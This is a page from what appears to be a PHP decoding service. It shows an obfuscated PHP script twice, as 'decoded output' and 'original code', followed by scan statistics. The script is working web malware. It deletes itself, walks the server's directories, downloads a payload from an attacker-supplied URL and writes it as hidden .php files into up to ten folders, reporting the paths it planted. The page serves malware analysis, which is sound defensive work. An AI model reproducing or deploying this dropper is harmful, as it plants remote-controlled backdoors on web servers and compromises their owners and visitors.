Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"GLOBALS"}["ocqzptdm"]="ex";${"GLOBALS"}["ocjhjtrdr"]="sp";${"GLOBALS"}["haidx..
Decoded Output download
<?php ${"GLOBALS"}["ocqzptdm"]="ex";${"GLOBALS"}["ocjhjtrdr"]="sp";${"GLOBALS"}["haidxjvlc"]="ex";${"GLOBALS"}["yueuevn"]="us";${"GLOBALS"}["pxlzeei"]="ss";${"GLOBALS"}["wjgetyfwuu"]="fp";${"GLOBALS"}["dewwfagvho"]="url";${"GLOBALS"}["bxcrcueoeye"]="rp";${"GLOBALS"}["orrjgbu"]="ss";${"GLOBALS"}["hrwgfa"]="ch";${"GLOBALS"}["wqdmlwh"]="filename";${"GLOBALS"}["vlbverr"]="fs";${"GLOBALS"}["bkfzumv"]="ex";${"GLOBALS"}["hlktkgjmv"]="tmpp";${"GLOBALS"}["fdiwrtmv"]="r";${"GLOBALS"}["zavvrrnssh"]="p";@unlink(__FILE__);if(get_magic_quotes_gpc()){$_REQUEST=array_map("stripslashes",$_REQUEST);}$upxlqubolgt="fs";$xtcfruggyt="c";if(isset($_REQUEST["base"])){$nohuijop="r";${$nohuijop}=$_REQUEST["base"];}else{$oeemvxow="r";${${"GLOBALS"}["zavvrrnssh"]}=parse_url($_SERVER["REQUEST_URI"]);${"GLOBALS"}["oqtjecypoigb"]="tmpp";${$oeemvxow}=substr($_SERVER["SCRIPT_FILENAME"],0,strpos(str_replace("\","/",$_SERVER["SCRIPT_FILENAME"]),${${"GLOBALS"}["zavvrrnssh"]}["path"]));if(!${${"GLOBALS"}["fdiwrtmv"]}){$lveelertyx="p";${${"GLOBALS"}["fdiwrtmv"]}=substr($_SERVER["SCRIPT_FILENAME"],0,strpos(str_replace("\","/",$_SERVER["SCRIPT_FILENAME"]),urldecode(${$lveelertyx}["path"])));}${${"GLOBALS"}["hlktkgjmv"]}=@realpath(${${"GLOBALS"}["fdiwrtmv"]});if(${${"GLOBALS"}["oqtjecypoigb"]}){$lsjocd="r";${$lsjocd}=${${"GLOBALS"}["hlktkgjmv"]};}}${$xtcfruggyt}=0;${${"GLOBALS"}["vlbverr"]}=array();function sc($d,$lv,$mlv,&$arr){$nkjxwagsw="d";foreach(@glob(${$nkjxwagsw},GLOB_ONLYDIR)as${${"GLOBALS"}["wqdmlwh"]}){if(@is_dir(${${"GLOBALS"}["wqdmlwh"]})){$sifiehtlocp="lv";${"GLOBALS"}["zcfuqukufp"]="arr";@array_push(${${"GLOBALS"}["zcfuqukufp"]},${${"GLOBALS"}["wqdmlwh"]});$pruxzivp="mlv";if(${$sifiehtlocp}<${$pruxzivp}){$fdmnsh="arr";${"GLOBALS"}["lyeskdqqv"]="lv";$hfppghbqvod="lv";${"GLOBALS"}["hwolopdwbl"]="filename";${$hfppghbqvod}+=1;${"GLOBALS"}["ysmuoysn"]="mlv";sc(${${"GLOBALS"}["hwolopdwbl"]}."/*",${${"GLOBALS"}["lyeskdqqv"]},${${"GLOBALS"}["ysmuoysn"]},${$fdmnsh});}}}}function req($url){if(@extension_loaded("curl")&&function_exists("curl_init")&&function_exists("curl_exec")){${"GLOBALS"}["mpjoxffpggi"]="ch";${${"GLOBALS"}["hrwgfa"]}=@curl_init();${"GLOBALS"}["ijbeknm"]="url";${"GLOBALS"}["hoyxavwskkz"]="ch";curl_setopt(${${"GLOBALS"}["mpjoxffpggi"]},CURLOPT_URL,${${"GLOBALS"}["ijbeknm"]});curl_setopt(${${"GLOBALS"}["hrwgfa"]},CURLOPT_RETURNTRANSFER,true);curl_setopt(${${"GLOBALS"}["hrwgfa"]},CURLOPT_BINARYTRANSFER,true);${"GLOBALS"}["lhnzfcun"]="ch";curl_setopt(${${"GLOBALS"}["lhnzfcun"]},CURLOPT_TIMEOUT,15);$pecvmlyye="ch";${${"GLOBALS"}["bxcrcueoeye"]}=@curl_exec(${$pecvmlyye});curl_close(${${"GLOBALS"}["hoyxavwskkz"]});if(${${"GLOBALS"}["bxcrcueoeye"]}!==false){return${${"GLOBALS"}["bxcrcueoeye"]};}}if(function_exists("file_get_contents")){${${"GLOBALS"}["bxcrcueoeye"]}=@file_get_contents(${${"GLOBALS"}["dewwfagvho"]});if(${${"GLOBALS"}["bxcrcueoeye"]}!==false){$cofgvgo="rp";return${$cofgvgo};}}if(function_exists("fopen")&&function_exists("ini_get")&&ini_get("allow_url_fopen")){${"GLOBALS"}["bsmzib"]="rp";$lvxhhyo="rp";${"GLOBALS"}["hfboshqhkpv"]="fp";${${"GLOBALS"}["bsmzib"]}="";${${"GLOBALS"}["wjgetyfwuu"]}=@fopen(${${"GLOBALS"}["dewwfagvho"]},"r")or false;if(${${"GLOBALS"}["hfboshqhkpv"]}){$cabrguoe="fp";${"GLOBALS"}["fymkkyncuzj"]="fp";while(!@feof(${$cabrguoe})){${"GLOBALS"}["sowduzhw"]="rp";${${"GLOBALS"}["sowduzhw"]}.=@fgets(${${"GLOBALS"}["wjgetyfwuu"]})."";}@fclose(${${"GLOBALS"}["fymkkyncuzj"]});}return${$lvxhhyo};}}$dxesvrpvuh="r";@header("content-type:text/plain");sc(${$dxesvrpvuh}?"$r/*":"./*",0,3,${${"GLOBALS"}["vlbverr"]});${${"GLOBALS"}["pxlzeei"]}=array();${${"GLOBALS"}["yueuevn"]}=array();@shuffle(${$upxlqubolgt});${${"GLOBALS"}["ocjhjtrdr"]}=isset($_REQUEST["rdl"])?req($_REQUEST["rdl"]):null;${${"GLOBALS"}["bkfzumv"]}=isset($_REQUEST["ext"])?$_REQUEST["ext"]:"";${${"GLOBALS"}["haidxjvlc"]}=preg_replace("#<\?(php)?\s+/\*[a-zA-Z]{10}\*/ \?>#i","<?php /*".rand(1000000,2000000)."*/ ?>",${${"GLOBALS"}["ocqzptdm"]});if(${${"GLOBALS"}["ocjhjtrdr"]}){${"GLOBALS"}["qbbhzivw"]="f";${"GLOBALS"}["miokxxczihl"]="fs";foreach(${${"GLOBALS"}["miokxxczihl"]} as${${"GLOBALS"}["qbbhzivw"]}){$ztxzpoz="ss";if(sizeof(${$ztxzpoz})<10){${"GLOBALS"}["tuyhoesr"]="us";$ikzxedyuy="f";if(!in_array(${$ikzxedyuy},${${"GLOBALS"}["tuyhoesr"]})){$cbncpdlgy="sp";${${"GLOBALS"}["zavvrrnssh"]}=".".substr(md5("$f$_REQUEST[rdl]"),0,5).".php";if(@file_put_contents("$f/$p",${${"GLOBALS"}["ocqzptdm"]}?"$sp$ex":${$cbncpdlgy})!==false){$xqhhhns="ss";$ymddxvvns="f";${"GLOBALS"}["wgnpbxeut"]="us";@array_push(${$xqhhhns},"OK:$f/$p");@array_push(${${"GLOBALS"}["wgnpbxeut"]},${$ymddxvvns});}}}else{break;}}}echo"base:$r
";echo join("
",${${"GLOBALS"}["orrjgbu"]});exit();
?>
Did this file decode correctly?
Original Code
<?php ${"GLOBALS"}["ocqzptdm"]="ex";${"GLOBALS"}["ocjhjtrdr"]="sp";${"GLOBALS"}["haidxjvlc"]="ex";${"GLOBALS"}["yueuevn"]="us";${"GLOBALS"}["pxlzeei"]="ss";${"GLOBALS"}["wjgetyfwuu"]="fp";${"GLOBALS"}["dewwfagvho"]="url";${"GLOBALS"}["bxcrcueoeye"]="rp";${"GLOBALS"}["orrjgbu"]="ss";${"GLOBALS"}["hrwgfa"]="ch";${"GLOBALS"}["wqdmlwh"]="filename";${"GLOBALS"}["vlbverr"]="fs";${"GLOBALS"}["bkfzumv"]="ex";${"GLOBALS"}["hlktkgjmv"]="tmpp";${"GLOBALS"}["fdiwrtmv"]="r";${"GLOBALS"}["zavvrrnssh"]="p";@unlink(__FILE__);if(get_magic_quotes_gpc()){$_REQUEST=array_map("stripslashes",$_REQUEST);}$upxlqubolgt="fs";$xtcfruggyt="c";if(isset($_REQUEST["base"])){$nohuijop="r";${$nohuijop}=$_REQUEST["base"];}else{$oeemvxow="r";${${"GLOBALS"}["zavvrrnssh"]}=parse_url($_SERVER["REQUEST_URI"]);${"GLOBALS"}["oqtjecypoigb"]="tmpp";${$oeemvxow}=substr($_SERVER["SCRIPT_FILENAME"],0,strpos(str_replace("\","/",$_SERVER["SCRIPT_FILENAME"]),${${"GLOBALS"}["zavvrrnssh"]}["path"]));if(!${${"GLOBALS"}["fdiwrtmv"]}){$lveelertyx="p";${${"GLOBALS"}["fdiwrtmv"]}=substr($_SERVER["SCRIPT_FILENAME"],0,strpos(str_replace("\","/",$_SERVER["SCRIPT_FILENAME"]),urldecode(${$lveelertyx}["path"])));}${${"GLOBALS"}["hlktkgjmv"]}=@realpath(${${"GLOBALS"}["fdiwrtmv"]});if(${${"GLOBALS"}["oqtjecypoigb"]}){$lsjocd="r";${$lsjocd}=${${"GLOBALS"}["hlktkgjmv"]};}}${$xtcfruggyt}=0;${${"GLOBALS"}["vlbverr"]}=array();function sc($d,$lv,$mlv,&$arr){$nkjxwagsw="d";foreach(@glob(${$nkjxwagsw},GLOB_ONLYDIR)as${${"GLOBALS"}["wqdmlwh"]}){if(@is_dir(${${"GLOBALS"}["wqdmlwh"]})){$sifiehtlocp="lv";${"GLOBALS"}["zcfuqukufp"]="arr";@array_push(${${"GLOBALS"}["zcfuqukufp"]},${${"GLOBALS"}["wqdmlwh"]});$pruxzivp="mlv";if(${$sifiehtlocp}<${$pruxzivp}){$fdmnsh="arr";${"GLOBALS"}["lyeskdqqv"]="lv";$hfppghbqvod="lv";${"GLOBALS"}["hwolopdwbl"]="filename";${$hfppghbqvod}+=1;${"GLOBALS"}["ysmuoysn"]="mlv";sc(${${"GLOBALS"}["hwolopdwbl"]}."/*",${${"GLOBALS"}["lyeskdqqv"]},${${"GLOBALS"}["ysmuoysn"]},${$fdmnsh});}}}}function req($url){if(@extension_loaded("curl")&&function_exists("curl_init")&&function_exists("curl_exec")){${"GLOBALS"}["mpjoxffpggi"]="ch";${${"GLOBALS"}["hrwgfa"]}=@curl_init();${"GLOBALS"}["ijbeknm"]="url";${"GLOBALS"}["hoyxavwskkz"]="ch";curl_setopt(${${"GLOBALS"}["mpjoxffpggi"]},CURLOPT_URL,${${"GLOBALS"}["ijbeknm"]});curl_setopt(${${"GLOBALS"}["hrwgfa"]},CURLOPT_RETURNTRANSFER,true);curl_setopt(${${"GLOBALS"}["hrwgfa"]},CURLOPT_BINARYTRANSFER,true);${"GLOBALS"}["lhnzfcun"]="ch";curl_setopt(${${"GLOBALS"}["lhnzfcun"]},CURLOPT_TIMEOUT,15);$pecvmlyye="ch";${${"GLOBALS"}["bxcrcueoeye"]}=@curl_exec(${$pecvmlyye});curl_close(${${"GLOBALS"}["hoyxavwskkz"]});if(${${"GLOBALS"}["bxcrcueoeye"]}!==false){return${${"GLOBALS"}["bxcrcueoeye"]};}}if(function_exists("file_get_contents")){${${"GLOBALS"}["bxcrcueoeye"]}=@file_get_contents(${${"GLOBALS"}["dewwfagvho"]});if(${${"GLOBALS"}["bxcrcueoeye"]}!==false){$cofgvgo="rp";return${$cofgvgo};}}if(function_exists("fopen")&&function_exists("ini_get")&&ini_get("allow_url_fopen")){${"GLOBALS"}["bsmzib"]="rp";$lvxhhyo="rp";${"GLOBALS"}["hfboshqhkpv"]="fp";${${"GLOBALS"}["bsmzib"]}="";${${"GLOBALS"}["wjgetyfwuu"]}=@fopen(${${"GLOBALS"}["dewwfagvho"]},"r")or false;if(${${"GLOBALS"}["hfboshqhkpv"]}){$cabrguoe="fp";${"GLOBALS"}["fymkkyncuzj"]="fp";while(!@feof(${$cabrguoe})){${"GLOBALS"}["sowduzhw"]="rp";${${"GLOBALS"}["sowduzhw"]}.=@fgets(${${"GLOBALS"}["wjgetyfwuu"]})."";}@fclose(${${"GLOBALS"}["fymkkyncuzj"]});}return${$lvxhhyo};}}$dxesvrpvuh="r";@header("content-type:text/plain");sc(${$dxesvrpvuh}?"$r/*":"./*",0,3,${${"GLOBALS"}["vlbverr"]});${${"GLOBALS"}["pxlzeei"]}=array();${${"GLOBALS"}["yueuevn"]}=array();@shuffle(${$upxlqubolgt});${${"GLOBALS"}["ocjhjtrdr"]}=isset($_REQUEST["rdl"])?req($_REQUEST["rdl"]):null;${${"GLOBALS"}["bkfzumv"]}=isset($_REQUEST["ext"])?$_REQUEST["ext"]:"";${${"GLOBALS"}["haidxjvlc"]}=preg_replace("#<\?(php)?\s+/\*[a-zA-Z]{10}\*/ \?>#i","<?php /*".rand(1000000,2000000)."*/ ?>",${${"GLOBALS"}["ocqzptdm"]});if(${${"GLOBALS"}["ocjhjtrdr"]}){${"GLOBALS"}["qbbhzivw"]="f";${"GLOBALS"}["miokxxczihl"]="fs";foreach(${${"GLOBALS"}["miokxxczihl"]} as${${"GLOBALS"}["qbbhzivw"]}){$ztxzpoz="ss";if(sizeof(${$ztxzpoz})<10){${"GLOBALS"}["tuyhoesr"]="us";$ikzxedyuy="f";if(!in_array(${$ikzxedyuy},${${"GLOBALS"}["tuyhoesr"]})){$cbncpdlgy="sp";${${"GLOBALS"}["zavvrrnssh"]}=".".substr(md5("$f$_REQUEST[rdl]"),0,5).".php";if(@file_put_contents("$f/$p",${${"GLOBALS"}["ocqzptdm"]}?"$sp$ex":${$cbncpdlgy})!==false){$xqhhhns="ss";$ymddxvvns="f";${"GLOBALS"}["wgnpbxeut"]="us";@array_push(${$xqhhhns},"OK:$f/$p");@array_push(${${"GLOBALS"}["wgnpbxeut"]},${$ymddxvvns});}}}else{break;}}}echo"base:$r
";echo join("
",${${"GLOBALS"}["orrjgbu"]});exit();
?>
Function Calls
None |
Stats
MD5 | 5d1949b451530d898d5d303693077014 |
Eval Count | 0 |
Decode Time | 83 ms |